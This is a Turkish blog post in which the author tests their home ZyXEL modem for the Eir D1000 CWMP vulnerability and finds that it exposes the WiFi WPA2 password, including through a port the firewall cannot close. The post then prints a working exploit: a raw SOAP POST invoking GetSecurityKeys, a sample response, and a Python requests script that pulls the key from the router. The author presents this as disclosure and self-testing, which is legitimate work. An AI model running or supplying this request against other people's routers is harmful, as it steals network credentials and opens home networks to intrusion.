Eir’s D1000 Modem Güvenlik Zafiyeti

Uzun zamandır evde kullandığım cihazları için güvenlik taraması yapmamıştım. Çok fazla cihaz olmamakla birlikte aktif olarak kullandığım ZyXEL ADSL model ve TP-Link TL-WA850RE Kablosuz alan genişletici üzerinde iki adet kritik seviyede zafiyet tesbit edebildim. Önemli olan ZyXEL ADSL modem üzerinde CWMP protokolünden kaynaklanan ve can yakıcı olabilecek bir açık. Eir’s D1000 Modem üzerindeki açık hakkında detaylara bu adresten ulaşabilirsiniz.

Eir D1000 test etmek için biraz araştırma ardından bir kaç post isteğini test ederek WPA2 ile şifrelenmiş WiFi ağımın şifresine açıktan erişilebildim.  İlginç olan CWMP protokolünün 7457 nolu port üzerinden çalışması ve bu portun kapalı olmasına rağmen 80 portu üzerinden de protokolün çalışıyor olması. Geçici çözüm olarak ADSL üzerinde gelen firewall’u aktif hale getirip WAN üzerinden gelen bütün paket ve portlar  kapatmak için yapılandırdım. Varsayılan http 80 portu kapanmış oldu, fakat nmap ile full port taraması yapınca 8088 (8088/tcp open     http       Allegro RomPager 4.51 UPnP/1.0 (ZyXEL ZyWALL 2))  olan bir port açık gözükmekte ve firewall ile bu portu kapatamıyorsunuz. Ne güzel 🙂 şuan modemi yenilemekten başka çare gözükmüyor. Örnek post ve python script aşağıda bulabilirsiniz.

Eir D1000 CWMP açığı örnek http post;

POST /UD/act?1 HTTP/1.1
Host: 192.168.1.1:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys
Content-Type: text/xml
Content-Length: 318

<?xml version=”1.0″?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body>
<u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″>
</u:GetSecurityKeys>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

Örnek cevapta * olan kısımda açıktan WiFi şifrenizi bulabilirsiniz;

<?xml version=”1.0″?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body><u:GetSecurityKeysResponse xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″>
<NewWEPKey0></NewWEPKey0>
<NewWEPKey1></NewWEPKey1>
<NewWEPKey2></NewWEPKey2>
<NewWEPKey3></NewWEPKey3>
<NewPreSharedKey>********</NewPreSharedKey>
<NewKeyPassphrase></NewKeyPassphrase>
</u:GetSecurityKeysResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

Örnek python test script;

import requests

headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
           'SOAPAction': 'urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys',
           'Content-Type': 'text/xml'
           }

raw_data = """
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:GetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1">
</u:GetSecurityKeys>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""

req = requests.request('POST', 'http://192.168.1.1/UD/act?1', headers=headers, data=raw_data)
print(req.text)